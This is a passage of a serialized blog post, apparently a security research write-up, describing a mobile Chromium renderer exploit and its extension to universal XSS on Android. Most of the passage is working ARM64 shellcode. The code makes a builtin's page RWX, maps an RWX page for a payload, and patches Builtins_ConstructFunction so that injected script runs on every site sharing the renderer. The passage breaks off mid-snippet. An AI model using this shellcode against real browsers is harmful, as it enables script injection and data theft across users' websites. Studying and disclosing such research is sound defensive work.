e":26,"value":1670},{"type":21,"tag":153,"props":141230,"children":141231},{"style":300},[141232],{"type":26,"value":62639},{"type":21,"tag":153,"props":141234,"children":141235},{"style":160},[141236],{"type":26,"value":1670},{"type":21,"tag":153,"props":141238,"children":141239},{"style":300},[141240],{"type":26,"value":4303},{"type":21,"tag":153,"props":141242,"children":141243},{"style":160},[141244],{"type":26,"value":1670},{"type":21,"tag":153,"props":141246,"children":141247},{"style":300},[141248],{"type":26,"value":140907},{"type":21,"tag":153,"props":141250,"children":141251},{"style":160},[141252],{"type":26,"value":1670},{"type":21,"tag":153,"props":141254,"children":141255},{"style":300},[141256],{"type":26,"value":4104},{"type":21,"tag":153,"props":141258,"children":141259},{"style":160},[141260],{"type":26,"value":1670},{"type":21,"tag":153,"props":141262,"children":141263},{"style":300},[141264],{"type":26,"value":2996},{"type":21,"tag":153,"props":141266,"children":141267},{"style":160},[141268],{"type":26,"value":1670},{"type":21,"tag":153,"props":141270,"children":141271},{"style":300},[141272],{"type":26,"value":2996},{"type":21,"tag":153,"props":141274,"children":141275},{"style":160},[141276],{"type":26,"value":1670},{"type":21,"tag":153,"props":141278,"children":141279},{"style":300},[141280],{"type":26,"value":2996},{"type":21,"tag":153,"props":141282,"children":141283},{"style":160},[141284],{"type":26,"value":1670},{"type":21,"tag":153,"props":141286,"children":141287},{"style":300},[141288],{"type":26,"value":2996},{"type":21,"tag":153,"props":141290,"children":141291},{"style":160},[141292],{"type":26,"value":1670},{"type":21,"tag":153,"props":141294,"children":141295},{"style":300},[141296],{"type":26,"value":2996},{"type":21,"tag":153,"props":141298,"children":141299},{"style":160},[141300],{"type":26,"value":1670},{"type":21,"tag":153,"props":141302,"children":141303},{"style":300},[141304],{"type":26,"value":2996},{"type":21,"tag":153,"props":141306,"children":141307},{"style":160},[141308],{"type":26,"value":1670},{"type":21,"tag":153,"props":141310,"children":141311},{"style":300},[141312],{"type":26,"value":2996},{"type":21,"tag":153,"props":141314,"children":141315},{"style":160},[141316],{"type":26,"value":1670},{"type":21,"tag":153,"props":141318,"children":141319},{"style":300},[141320],{"type":26,"value":2996},{"type":21,"tag":153,"props":141322,"children":141323},{"style":160},[141324],{"type":26,"value":1670},{"type":21,"tag":153,"props":141326,"children":141327},{"style":300},[141328],{"type":26,"value":4104},{"type":21,"tag":153,"props":141330,"children":141331},{"style":160},[141332],{"type":26,"value":1670},{"type":21,"tag":153,"props":141334,"children":141335},{"style":300},[141336],{"type":26,"value":2996},{"type":21,"tag":153,"props":141338,"children":141339},{"style":160},[141340],{"type":26,"value":1670},{"type":21,"tag":153,"props":141342,"children":141343},{"style":300},[141344],{"type":26,"value":2996},{"type":21,"tag":153,"props":141346,"children":141347},{"style":160},[141348],{"type":26,"value":1670},{"type":21,"tag":153,"props":141350,"children":141351},{"style":300},[141352],{"type":26,"value":2996},{"type":21,"tag":153,"props":141354,"children":141355},{"style":160},[141356],{"type":26,"value":1670},{"type":21,"tag":153,"props":141358,"children":141359},{"style":300},[141360],{"type":26,"value":2996},{"type":21,"tag":153,"props":141362,"children":141363},{"style":160},[141364],{"type":26,"value":1670},{"type":21,"tag":153,"props":141366,"children":141367},{"style":300},[141368],{"type":26,"value":2996},{"type":21,"tag":153,"props":141370,"children":141371},{"style":160},[141372],{"type":26,"value":792},{"type":21,"tag":153,"props":141374,"children":141375},{"class":155,"line":820},[141376,141380,141384,141388,141392,141396,141400,141404,141408,141412,141416,141421,141425,141430,141434,141439,141443,141447],{"type":21,"tag":153,"props":141377,"children":141378},{"style":300},[141379],{"type":26,"value":136494},{"type":21,"tag":153,"props":141381,"children":141382},{"style":160},[141383],{"type":26,"value":1670},{"type":21,"tag":153,"props":141385,"children":141386},{"style":300},[141387],{"type":26,"value":2996},{"type":21,"tag":153,"props":141389,"children":141390},{"style":160},[141391],{"type":26,"value":1670},{"type":21,"tag":153,"props":141393,"children":141394},{"style":300},[141395],{"type":26,"value":2996},{"type":21,"tag":153,"props":141397,"children":141398},{"style":160},[141399],{"type":26,"value":1670},{"type":21,"tag":153,"props":141401,"children":141402},{"style":300},[141403],{"type":26,"value":2996},{"type":21,"tag":153,"props":141405,"children":141406},{"style":160},[141407],{"type":26,"value":1670},{"type":21,"tag":153,"props":141409,"children":141410},{"style":300},[141411],{"type":26,"value":2996},{"type":21,"tag":153,"props":141413,"children":141414},{"style":160},[141415],{"type":26,"value":1670},{"type":21,"tag":153,"props":141417,"children":141418},{"style":300},[141419],{"type":26,"value":141420},"92",{"type":21,"tag":153,"props":141422,"children":141423},{"style":160},[141424],{"type":26,"value":1670},{"type":21,"tag":153,"props":141426,"children":141427},{"style":300},[141428],{"type":26,"value":141429},"50",{"type":21,"tag":153,"props":141431,"children":141432},{"style":160},[141433],{"type":26,"value":1670},{"type":21,"tag":153,"props":141435,"children":141436},{"style":300},[141437],{"type":26,"value":141438},"162",{"type":21,"tag":153,"props":141440,"children":141441},{"style":160},[141442],{"type":26,"value":1670},{"type":21,"tag":153,"props":141444,"children":141445},{"style":300},[141446],{"type":26,"value":2996},{"type":21,"tag":153,"props":141448,"children":141449},{"style":160},[141450],{"type":26,"value":792},{"type":21,"tag":153,"props":141452,"children":141453},{"class":155,"line":842},[141454],{"type":21,"tag":153,"props":141455,"children":141456},{"style":160},[141457],{"type":26,"value":136781},{"type":21,"tag":153,"props":141459,"children":141460},{"class":155,"line":3204},[141461,141465,141469,141473,141477,141481,141485,141489,141493,141497,141501],{"type":21,"tag":153,"props":141462,"children":141463},{"style":170},[141464],{"type":26,"value":10582},{"type":21,"tag":153,"props":141466,"children":141467},{"style":192},[141468],{"type":26,"value":138234},{"type":21,"tag":153,"props":141470,"children":141471},{"style":198},[141472],{"type":26,"value":255},{"type":21,"tag":153,"props":141474,"children":141475},{"style":181},[141476],{"type":26,"value":138243},{"type":21,"tag":153,"props":141478,"children":141479},{"style":160},[141480],{"type":26,"value":189},{"type":21,"tag":153,"props":141482,"children":141483},{"style":192},[141484],{"type":26,"value":136112},{"type":21,"tag":153,"props":141486,"children":141487},{"style":160},[141488],{"type":26,"value":1670},{"type":21,"tag":153,"props":141490,"children":141491},{"style":192},[141492],{"type":26,"value":127439},{"type":21,"tag":153,"props":141494,"children":141495},{"style":160},[141496],{"type":26,"value":355},{"type":21,"tag":153,"props":141498,"children":141499},{"style":192},[141500],{"type":26,"value":127439},{"type":21,"tag":153,"props":141502,"children":141503},{"style":160},[141504],{"type":26,"value":530},{"type":21,"tag":153,"props":141506,"children":141507},{"class":155,"line":3230},[141508,141512,141516,141520,141524,141528,141532,141536,141540,141544],{"type":21,"tag":153,"props":141509,"children":141510},{"style":192},[141511],{"type":26,"value":138279},{"type":21,"tag":153,"props":141513,"children":141514},{"style":198},[141515],{"type":26,"value":255},{"type":21,"tag":153,"props":141517,"children":141518},{"style":160},[141519],{"type":26,"value":5820},{"type":21,"tag":153,"props":141521,"children":141522},{"style":1751},[141523],{"type":26,"value":1754},{"type":21,"tag":153,"props":141525,"children":141526},{"style":192},[141527],{"type":26,"value":138234},{"type":21,"tag":153,"props":141529,"children":141530},{"style":160},[141531],{"type":26,"value":355},{"type":21,"tag":153,"props":141533,"children":141534},{"style":181},[141535],{"type":26,"value":59857},{"type":21,"tag":153,"props":141537,"children":141538},{"style":160},[141539],{"type":26,"value":138308},{"type":21,"tag":153,"props":141541,"children":141542},{"style":192},[141543],{"type":26,"value":41843},{"type":21,"tag":153,"props":141545,"children":141546},{"style":160},[141547],{"type":26,"value":1759},{"type":21,"tag":153,"props":141549,"children":141550},{"class":155,"line":3239},[141551,141555,141559,141563,141567,141572,141576,141580],{"type":21,"tag":153,"props":141552,"children":141553},{"style":192},[141554],{"type":26,"value":104241},{"type":21,"tag":153,"props":141556,"children":141557},{"style":160},[141558],{"type":26,"value":355},{"type":21,"tag":153,"props":141560,"children":141561},{"style":181},[141562],{"type":26,"value":104250},{"type":21,"tag":153,"props":141564,"children":141565},{"style":160},[141566],{"type":26,"value":189},{"type":21,"tag":153,"props":141568,"children":141569},{"style":671},[141570],{"type":26,"value":141571},"'DeserializeWasmModule result: '",{"type":21,"tag":153,"props":141573,"children":141574},{"style":198},[141575],{"type":26,"value":5527},{"type":21,"tag":153,"props":141577,"children":141578},{"style":192},[141579],{"type":26,"value":11882},{"type":21,"tag":153,"props":141581,"children":141582},{"style":160},[141583],{"type":26,"value":530},{"type":21,"tag":153,"props":141585,"children":141586},{"class":155,"line":3253},[141587,141591,141595,141599,141603,141607,141611,141615,141619,141623],{"type":21,"tag":153,"props":141588,"children":141589},{"style":170},[141590],{"type":26,"value":38881},{"type":21,"tag":153,"props":141592,"children":141593},{"style":192},[141594],{"type":26,"value":138328},{"type":21,"tag":153,"props":141596,"children":141597},{"style":198},[141598],{"type":26,"value":255},{"type":21,"tag":153,"props":141600,"children":141601},{"style":170},[141602],{"type":26,"value":34627},{"type":21,"tag":153,"props":141604,"children":141605},{"style":192},[141606],{"type":26,"value":136095},{"type":21,"tag":153,"props":141608,"children":141609},{"style":160},[141610],{"type":26,"value":355},{"type":21,"tag":153,"props":141612,"children":141613},{"style":181},[141614],{"type":26,"value":136149},{"type":21,"tag":153,"props":141616,"children":141617},{"style":160},[141618],{"type":26,"value":189},{"type":21,"tag":153,"props":141620,"children":141621},{"style":192},[141622],{"type":26,"value":11806},{"type":21,"tag":153,"props":141624,"children":141625},{"style":160},[141626],{"type":26,"value":530},{"type":21,"tag":153,"props":141628,"children":141629},{"class":155,"line":3301},[141630,141634,141638,141642,141646,141650,141654,141658,141662],{"type":21,"tag":153,"props":141631,"children":141632},{"style":170},[141633],{"type":26,"value":38881},{"type":21,"tag":153,"props":141635,"children":141636},{"style":192},[141637],{"type":26,"value":35664},{"type":21,"tag":153,"props":141639,"children":141640},{"style":198},[141641],{"type":26,"value":255},{"type":21,"tag":153,"props":141643,"children":141644},{"style":192},[141645],{"type":26,"value":138328},{"type":21,"tag":153,"props":141647,"children":141648},{"style":160},[141649],{"type":26,"value":355},{"type":21,"tag":153,"props":141651,"children":141652},{"style":192},[141653],{"type":26,"value":40579},{"type":21,"tag":153,"props":141655,"children":141656},{"style":160},[141657],{"type":26,"value":355},{"type":21,"tag":153,"props":141659,"children":141660},{"style":192},[141661],{"type":26,"value":136198},{"type":21,"tag":153,"props":141663,"children":141664},{"style":160},[141665],{"type":26,"value":1759},{"type":21,"tag":153,"props":141667,"children":141668},{"class":155,"line":3346},[141669,141673,141677,141681,141685,141689],{"type":21,"tag":153,"props":141670,"children":141671},{"style":192},[141672],{"type":26,"value":104241},{"type":21,"tag":153,"props":141674,"children":141675},{"style":160},[141676],{"type":26,"value":355},{"type":21,"tag":153,"props":141678,"children":141679},{"style":181},[141680],{"type":26,"value":104250},{"type":21,"tag":153,"props":141682,"children":141683},{"style":160},[141684],{"type":26,"value":189},{"type":21,"tag":153,"props":141686,"children":141687},{"style":192},[141688],{"type":26,"value":35778},{"type":21,"tag":153,"props":141690,"children":141691},{"style":160},[141692],{"type":26,"value":530},{"type":21,"tag":153,"props":141694,"children":141695},{"class":155,"line":3355},[141696],{"type":21,"tag":153,"props":141697,"children":141698},{"style":160},[141699],{"type":26,"value":104282},{"type":21,"tag":22,"props":141701,"children":141702},{},[141703],{"type":26,"value":141704},"And this time, it works as expected:",{"type":21,"tag":22,"props":141706,"children":141707},{},[141708],{"type":21,"tag":3644,"props":141709,"children":141712},{"alt":141710,"src":141711},"image3","/posts/mobile-renderer-rce/image3.png",[],{"type":21,"tag":114,"props":141714,"children":141716},{"id":141715},"achieving-universal-xss",[141717],{"type":26,"value":141718},"Achieving Universal XSS",{"type":21,"tag":22,"props":141720,"children":141721},{},[141722,141724,141730,141732,141739],{"type":26,"value":141723},"At this point, we have arbitrary shellcode execution in the renderer process. While usually the exploit stops here and further access would require a browser sandbox escape, we decided to explore an alternative route known as UXSS, inspired by this ",{"type":21,"tag":29,"props":141725,"children":141728},{"href":141726,"rel":141727},"https://i.blackhat.com/Asia-24/Presentations/Asia-24-Liu-The-Hole-in-Sandbox.pdf",[33],[141729],{"type":26,"value":72626},{"type":26,"value":141731}," from Tencent Security and ",{"type":21,"tag":29,"props":141733,"children":141736},{"href":141734,"rel":141735},"https://www.interruptlabs.co.uk/articles/one-click-memory-corruption-in-alibabas-uc-browser-exploiting-patch-gap-v8-vulnerabilities-to-steal-your-data",[33],[141737],{"type":26,"value":141738},"research article",{"type":26,"value":141740}," from InterruptLabs.",{"type":21,"tag":22,"props":141742,"children":141743},{},[141744,141746,141753],{"type":26,"value":141745},"Unlike a normal XSS, a UXSS, or universal XSS, is a client side browser exploit that enables arbitrary JavaScript injection in all pages of a website. Normally, site isolation on desktop Chromium prevents this, as each site ends up in a different renderer process, but Android specifically has a ",{"type":21,"tag":29,"props":141747,"children":141750},{"href":141748,"rel":141749},"https://www.chromium.org/Home/chromium-security/site-isolation/#android",[33],[141751],{"type":26,"value":141752},"weaker version",{"type":26,"value":141754}," of this mitigation - only sites with logins and COOP headers are per process isolated. This means that the majority of webpages are in the same renderer process, so any patches to the interpreter will affect them all and lead to UXSS. This is still quite the capability!",{"type":21,"tag":22,"props":141756,"children":141757},{},[141758,141760,141766],{"type":26,"value":141759},"To achieve UXSS, we need to patch a function that’s invoked during site loading so we can run our XSS payload. During debugging, we observed that every site we visited eventually called ",{"type":21,"tag":78,"props":141761,"children":141763},{"className":141762},[],[141764],{"type":26,"value":141765},"Builtins_ConstructFunction",{"type":26,"value":141767},", making it a natural target.",{"type":21,"tag":22,"props":141769,"children":141770},{},[141771,141773,141778],{"type":26,"value":141772},"Our goal is for ",{"type":21,"tag":78,"props":141774,"children":141776},{"className":141775},[],[141777],{"type":26,"value":141765},{"type":26,"value":141779}," to execute our XSS payload first, then continue its normal behavior. To do this, we hook it as follows:",{"type":21,"tag":87,"props":141781,"children":141782},{},[141783,141788,141798],{"type":21,"tag":91,"props":141784,"children":141785},{},[141786],{"type":26,"value":141787},"The exploit’s shellcode patches the first few instructions to redirect execution to our mmap-ed shellcode, which runs the XSS payload",{"type":21,"tag":91,"props":141789,"children":141790},{},[141791,141793],{"type":26,"value":141792},"After finishing, the mmap-ed shellcode restores the original instructions in ",{"type":21,"tag":78,"props":141794,"children":141796},{"className":141795},[],[141797],{"type":26,"value":141765},{"type":21,"tag":91,"props":141799,"children":141800},{},[141801,141803,141808],{"type":26,"value":141802},"The mmap-ed shellcode then returns to the beginning of ",{"type":21,"tag":78,"props":141804,"children":141806},{"className":141805},[],[141807],{"type":26,"value":141765},{"type":26,"value":141809},", which now proceeds normally",{"type":21,"tag":22,"props":141811,"children":141812},{},[141813],{"type":26,"value":141814},"The ARM64 shellcode implementing this looks as follows:",{"type":21,"tag":143,"props":141816,"children":141820},{"code":141817,"language":141818,"meta":7,"className":141819,"style":7},"// get return addr to x0\nldr x0, [sp, #0x18]\n// strip pac signature from return address\n.arch armv8.3-a; xpaci x0\n\n// store x5 = Builtins_ConstructFunction\nmovz x1, #0x610c\nsub x0, x0, x1\nmov x5, x0\n\n// store x4 = page aligned ConstructFunction\nmovz x1, #0xf000\nmovk x1, #0xffff, lsl #16\nmovk x1, #0xffff, lsl #32\nand x4, x5, x1\n\n// mprotect page aligned ConstructFunction RWX\nmov x0, x4\nmov x1, #0x2000\nmov x2, #0x7\nmov x8, #226\nsvc #0\n\nmov x6, x5\n\n// mmap RWX for jump dest (uxss_sc)\nmov x0, #0\nmov x1, #0x1000\nmov x2, #0x7\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\nmov x5, x0\n\n// at this point:\n// x6 = Builtins_ConstructFunction\n// x5 = mmap page for uxss_sc\n\n// write uxss_sc to mmaped rwx page\n{write_sc(uxss_sc, \"x5\")}\n\n// wipe from cache\nmov x0, x5\n{WIPE_CACHE}\n\n// patch Builtins_ConstructFunction\n{write_sc(new_compile_instrs, \"x6\")}\n// and add a pointer to uxss_sc just above new instructions\nstr x5, [x6, #{5 * INSTR_SIZE}]\n\n// wipe from cache\nmov x0, x6\n{WIPE_CACHE}\n","asm","language-asm shiki shiki-themes slack-dark",[141821],{"type":21,"tag":78,"props":141822,"children":141823},{"__ignoreMap":7},[141824,141832,141840,141848,141856,141863,141871,141879,141887,141895,141902,141910,141918,141926,141934,141942,141949,141957,141965,141973,141981,141989,141997,142004,142012,142019,142027,142035,142043,142050,142058,142066,142074,142082,142089,142096,142103,142110,142118,142126,142134,142141,142149,142157,142164,142172,142180,142188,142195,142203,142211,142219,142227,142234,142241,142249],{"type":21,"tag":153,"props":141825,"children":141826},{"class":155,"line":156},[141827],{"type":21,"tag":153,"props":141828,"children":141829},{},[141830],{"type":26,"value":141831},"// get return addr to x0\n",{"type":21,"tag":153,"props":141833,"children":141834},{"class":155,"line":166},[141835],{"type":21,"tag":153,"props":141836,"children":141837},{},[141838],{"type":26,"value":141839},"ldr x0, [sp, #0x18]\n",{"type":21,"tag":153,"props":141841,"children":141842},{"class":155,"line":225},[141843],{"type":21,"tag":153,"props":141844,"children":141845},{},[141846],{"type":26,"value":141847},"// strip pac signature from return address\n",{"type":21,"tag":153,"props":141849,"children":141850},{"class":155,"line":239},[141851],{"type":21,"tag":153,"props":141852,"children":141853},{},[141854],{"type":26,"value":141855},".arch armv8.3-a; xpaci x0\n",{"type":21,"tag":153,"props":141857,"children":141858},{"class":155,"line":382},[141859],{"type":21,"tag":153,"props":141860,"children":141861},{"emptyLinePlaceholder":16},[141862],{"type":26,"value":759},{"type":21,"tag":153,"props":141864,"children":141865},{"class":155,"line":501},[141866],{"type":21,"tag":153,"props":141867,"children":141868},{},[141869],{"type":26,"value":141870},"// store x5 = Builtins_ConstructFunction\n",{"type":21,"tag":153,"props":141872,"children":141873},{"class":155,"line":533},[141874],{"type":21,"tag":153,"props":141875,"children":141876},{},[141877],{"type":26,"value":141878},"movz x1, #0x610c\n",{"type":21,"tag":153,"props":141880,"children":141881},{"class":155,"line":542},[141882],{"type":21,"tag":153,"props":141883,"children":141884},{},[141885],{"type":26,"value":141886},"sub x0, x0, x1\n",{"type":21,"tag":153,"props":141888,"children":141889},{"class":155,"line":762},[141890],{"type":21,"tag":153,"props":141891,"children":141892},{},[141893],{"type":26,"value":141894},"mov x5, x0\n",{"type":21,"tag":153,"props":141896,"children":141897},{"class":155,"line":776},[141898],{"type":21,"tag":153,"props":141899,"children":141900},{"emptyLinePlaceholder":16},[141901],{"type":26,"value":759},{"type":21,"tag":153,"props":141903,"children":141904},{"class":155,"line":795},[141905],{"type":21,"tag":153,"props":141906,"children":141907},{},[141908],{"type":26,"value":141909},"// store x4 = page aligned ConstructFunction\n",{"type":21,"tag":153,"props":141911,"children":141912},{"class":155,"line":808},[141913],{"type":21,"tag":153,"props":141914,"children":141915},{},[141916],{"type":26,"value":141917},"movz x1, #0xf000\n",{"type":21,"tag":153,"props":141919,"children":141920},{"class":155,"line":820},[141921],{"type":21,"tag":153,"props":141922,"children":141923},{},[141924],{"type":26,"value":141925},"movk x1, #0xffff, lsl #16\n",{"type":21,"tag":153,"props":141927,"children":141928},{"class":155,"line":842},[141929],{"type":21,"tag":153,"props":141930,"children":141931},{},[141932],{"type":26,"value":141933},"movk x1, #0xffff, lsl #32\n",{"type":21,"tag":153,"props":141935,"children":141936},{"class":155,"line":3204},[141937],{"type":21,"tag":153,"props":141938,"children":141939},{},[141940],{"type":26,"value":141941},"and x4, x5, x1\n",{"type":21,"tag":153,"props":141943,"children":141944},{"class":155,"line":3230},[141945],{"type":21,"tag":153,"props":141946,"children":141947},{"emptyLinePlaceholder":16},[141948],{"type":26,"value":759},{"type":21,"tag":153,"props":141950,"children":141951},{"class":155,"line":3239},[141952],{"type":21,"tag":153,"props":141953,"children":141954},{},[141955],{"type":26,"value":141956},"// mprotect page aligned ConstructFunction RWX\n",{"type":21,"tag":153,"props":141958,"children":141959},{"class":155,"line":3253},[141960],{"type":21,"tag":153,"props":141961,"children":141962},{},[141963],{"type":26,"value":141964},"mov x0, x4\n",{"type":21,"tag":153,"props":141966,"children":141967},{"class":155,"line":3301},[141968],{"type":21,"tag":153,"props":141969,"children":141970},{},[141971],{"type":26,"value":141972},"mov x1, #0x2000\n",{"type":21,"tag":153,"props":141974,"children":141975},{"class":155,"line":3346},[141976],{"type":21,"tag":153,"props":141977,"children":141978},{},[141979],{"type":26,"value":141980},"mov x2, #0x7\n",{"type":21,"tag":153,"props":141982,"children":141983},{"class":155,"line":3355},[141984],{"type":21,"tag":153,"props":141985,"children":141986},{},[141987],{"type":26,"value":141988},"mov x8, #226\n",{"type":21,"tag":153,"props":141990,"children":141991},{"class":155,"line":3364},[141992],{"type":21,"tag":153,"props":141993,"children":141994},{},[141995],{"type":26,"value":141996},"svc #0\n",{"type":21,"tag":153,"props":141998,"children":141999},{"class":155,"line":3376},[142000],{"type":21,"tag":153,"props":142001,"children":142002},{"emptyLinePlaceholder":16},[142003],{"type":26,"value":759},{"type":21,"tag":153,"props":142005,"children":142006},{"class":155,"line":3393},[142007],{"type":21,"tag":153,"props":142008,"children":142009},{},[142010],{"type":26,"value":142011},"mov x6, x5\n",{"type":21,"tag":153,"props":142013,"children":142014},{"class":155,"line":3405},[142015],{"type":21,"tag":153,"props":142016,"children":142017},{"emptyLinePlaceholder":16},[142018],{"type":26,"value":759},{"type":21,"tag":153,"props":142020,"children":142021},{"class":155,"line":3427},[142022],{"type":21,"tag":153,"props":142023,"children":142024},{},[142025],{"type":26,"value":142026},"// mmap RWX for jump dest (uxss_sc)\n",{"type":21,"tag":153,"props":142028,"children":142029},{"class":155,"line":3448},[142030],{"type":21,"tag":153,"props":142031,"children":142032},{},[142033],{"type":26,"value":142034},"mov x0, #0\n",{"type":21,"tag":153,"props":142036,"children":142037},{"class":155,"line":3456},[142038],{"type":21,"tag":153,"props":142039,"children":142040},{},[142041],{"type":26,"value":142042},"mov x1, #0x1000\n",{"type":21,"tag":153,"props":142044,"children":142045},{"class":155,"line":3493},[142046],{"type":21,"tag":153,"props":142047,"children":142048},{},[142049],{"type":26,"value":141980},{"type":21,"tag":153,"props":142051,"children":142052},{"class":155,"line":3509},[142053],{"type":21,"tag":153,"props":142054,"children":142055},{},[142056],{"type":26,"value":142057},"mov x3, #34\n",{"type":21,"tag":153,"props":142059,"children":142060},{"class":155,"line":3517},[142061],{"type":21,"tag":153,"props":142062,"children":142063},{},[142064],{"type":26,"value":142065},"mov x4, #-1\n",{"type":21,"tag":153,"props":142067,"children":142068},{"class":155,"line":3526},[142069],{"type":21,"tag":153,"props":142070,"children":142071},{},[142072],{"type":26,"value":142073},"mov x5, #0\n",{"type":21,"tag":153,"props":142075,"children":142076},{"class":155,"line":3607},[142077],{"type":21,"tag":153,"props":142078,"children":142079},{},[142080],{"type":26,"value":142081},"mov x8, #222\n",{"type":21,"tag":153,"props":142083,"children":142084},{"class":155,"line":3615},[142085],{"type":21,"tag":153,"props":142086,"children":142087},{},[142088],{"type":26,"value":141996},{"type":21,"tag":153,"props":142090,"children":142091},{"class":155,"line":3629},[142092],{"type":21,"tag":153,"props":142093,"children":142094},{"emptyLinePlaceholder":16},[142095],{"type":26,"value":759},{"type":21,"tag":153,"props":142097,"children":142098},{"class":155,"line":26297},[142099],{"type":21,"tag":153,"props":142100,"children":142101},{},[142102],{"type":26,"value":141894},{"type":21,"tag":153,"props":142104,"children":142105},{"class":155,"line":26330},[142106],{"type":21,"tag":153,"props":142107,"children":142108},{"emptyLinePlaceholder":16},[142109],{"type":26,"value":759},{"type":21,"tag":153,"props":142111,"children":142112},{"class":155,"line":26338},[142113],{"type":21,"tag":153,"props":142114,"children":142115},{},[142116],{"type":26,"value":142117},"// at this point:\n",{"type":21,"tag":153,"props":142119,"children":142120},{"class":155,"line":26346},[142121],{"type":21,"tag":153,"props":142122,"children":142123},{},[142124],{"type":26,"value":142125},"// x6 = Builtins_ConstructFunction\n",{"type":21,"tag":153,"props":142127,"children":142128},{"class":155,"line":26355},[142129],{"type":21,"tag":153,"props":142130,"children":142131},{},[142132],{"type":26,"value":142133},"// x5 = mmap page for uxss_sc\n",{"type":21,"tag":153,"props":142135,"children":142136},{"class":155,"line":26431},[142137],{"type":21,"tag":153,"props":142138,"children":142139},{"emptyLinePlaceholder":16},[142140],{"type":26,"value":759},{"type":21,"tag":153,"props":142142,"children":142143},{"class":155,"line":26464},[142144],{"type":21,"tag":153,"props":142145,"children":142146},{},[142147],{"type":26,"value":142148},"// write uxss_sc to mmaped rwx page\n",{"type":21,"tag":153,"props":142150,"children":142151},{"class":155,"line":26472},[142152],{"type":21,"tag":153,"props":142153,"children":142154},{},[142155],{"type":26,"value":142156},"{write_sc(uxss_sc, \"x5\")}\n",{"type":21,"tag":153,"props":142158,"children":142159},{"class":155,"line":26480},[142160],{"type":21,"tag":153,"props":142161,"children":142162},{"emptyLinePlaceholder":16},[142163],{"type":26,"value":759},{"type":21,"tag":153,"props":142165,"children":142166},{"class":155,"line":26517},[142167],{"type":21,"tag":153,"props":142168,"children":142169},{},[142170],{"type":26,"value":142171},"// wipe from cache\n",{"type":21,"tag":153,"props":142173,"children":142174},{"class":155,"line":26530},[142175],{"type":21,"tag":153,"props":142176,"children":142177},{},[142178],{"type":26,"value":142179},"mov x0, x5\n",{"type":21,"tag":153,"props":142181,"children":142182},{"class":155,"line":26543},[142183],{"type":21,"tag":153,"props":142184,"children":142185},{},[142186],{"type":26,"value":142187},"{WIPE_CACHE}\n",{"type":21,"tag":153,"props":142189,"children":142190},{"class":155,"line":26556},[142191],{"type":21,"tag":153,"props":142192,"children":142193},{"emptyLinePlaceholder":16},[142194],{"type":26,"value":759},{"type":21,"tag":153,"props":142196,"children":142197},{"class":155,"line":26610},[142198],{"type":21,"tag":153,"props":142199,"children":142200},{},[142201],{"type":26,"value":142202},"// patch Builtins_ConstructFunction\n",{"type":21,"tag":153,"props":142204,"children":142205},{"class":155,"line":26619},[142206],{"type":21,"tag":153,"props":142207,"children":142208},{},[142209],{"type":26,"value":142210},"{write_sc(new_compile_instrs, \"x6\")}\n",{"type":21,"tag":153,"props":142212,"children":142213},{"class":155,"line":34974},[142214],{"type":21,"tag":153,"props":142215,"children":142216},{},[142217],{"type":26,"value":142218},"// and add a pointer to uxss_sc just above new instructions\n",{"type":21,"tag":153,"props":142220,"children":142221},{"class":155,"line":34995},[142222],{"type":21,"tag":153,"props":142223,"children":142224},{},[142225],{"type":26,"value":142226},"str x5, [x6, #{5 * INSTR_SIZE}]\n",{"type":21,"tag":153,"props":142228,"children":142229},{"class":155,"line":83248},[142230],{"type":21,"tag":153,"props":142231,"children":142232},{"emptyLinePlaceholder":16},[142233],{"type":26,"value":759},{"type":21,"tag":153,"props":142235,"children":142236},{"class":155,"line":83261},[142237],{"type":21,"tag":153,"props":142238,"children":142239},{},[142240],{"type":26,"value":142171},{"type":21,"tag":153,"props":142242,"children":142243},{"class":155,"line":83269},[142244],{"type":21,"tag":153,"props":142245,"children":142246},{},[142247],{"type":26,"value":142248},"mov x0, x6\n",{"type":21,"tag":153,"props":142250,"children":142251},{"class":155,"line":83277},[142252],{"type":21,"tag":153,"props":142253,"children":142254},{},[142255],{"type":26,"value":142187},{"type":21,"tag":22,"props":142257,"children":142258},{},[142259,142261,142267,142269,142274,142276,142282],{"type":26,"value":142260},"In the snippet above, ",{"type":21,"tag":78,"props":142262,"children":142264},{"className":142263},[],[142265],{"type":26,"value":142266},"new_compile_instrs",{"type":26,"value":142268}," refers to the instructions written to the beginning of ",{"type":21,"tag":78,"props":142270,"children":142272},{"className":142271},[],[142273],{"type":26,"value":141765},{"type":26,"value":142275}," that invoke the ",{"type":21,"tag":78,"props":142277,"children":142279},{"className":142278},[],[142280],{"type":26,"value":142281},"uxss_sc",{"type":26,"value":142283}," mmap-ed shellcode:",{"type":21,"tag":143,"props":142285,"children":142287},{"code":142286,"language":141818,"meta":7,"className":141819,"style":7},"bti c\n\n// store registers that will be overwritten\nstp x15, lr, [sp, #-16]!\n\n// get current rip into x15\nadr x15, .\n\n// load the uxss_sc pointer saved just above new instructions\nldr x15, [x15, #{3 * INSTR_SIZE}]\n\n// jump to uxss_sc\nblr x15\n",[142288],{"type":21,"tag":78,"props":142289,"children":142290},{"__ignoreMap":7},[142291,142299,142306,142314,142322,142329,142337,142345,142352,142360,142368,142375,142383],{"type":21,"tag":153,"props":142292,"children":142293},{"class":155,"line":156},[142294],{"type":21,"tag":153,"props":142295,"children":142296},{},[142297],{"type":26,"value":142298},"bti c\n",{"type":21,"tag":153,"props":142300,"children":142301},{"class":155,"line":166},[142302],{"type":21,"tag":153,"props":142303,"children":142304},{"emptyLinePlaceholder":16},[142305],{"type":26,"value":759},{"type":21,"tag":153,"props":142307,"children":142308},{"class":155,"line":225},[142309],{"type":21,"tag":153,"props":142310,"children":142311},{},[142312],{"type":26,"value":142313},"// store registers that will be overwritten\n",{"type":21,"tag":153,"props":142315,"children":142316},{"class":155,"line":239},[142317],{"type":21,"tag":153,"props":142318,"children":142319},{},[142320],{"type":26,"value":142321},"stp x15, lr, [sp, #-16]!\n",{"type":21,"tag":153,"props":142323,"children":142324},{"class":155,"line":382},[142325],{"type":21,"tag":153,"props":142326,"children":142327},{"emptyLinePlaceholder":16},[142328],{"type":26,"value":759},{"type":21,"tag":153,"props":142330,"children":142331},{"class":155,"line":501},[142332],{"type":21,"tag":153,"props":142333,"children":142334},{},[142335],{"type":26,"value":142336},"// get current rip into x15\n",{"type":21,"tag":153,"props":142338,"children":142339},{"class":155,"line":533},[142340],{"type":21,"tag":153,"props":142341,"children":142342},{},[142343],{"type":26,"value":142344},"adr x15, 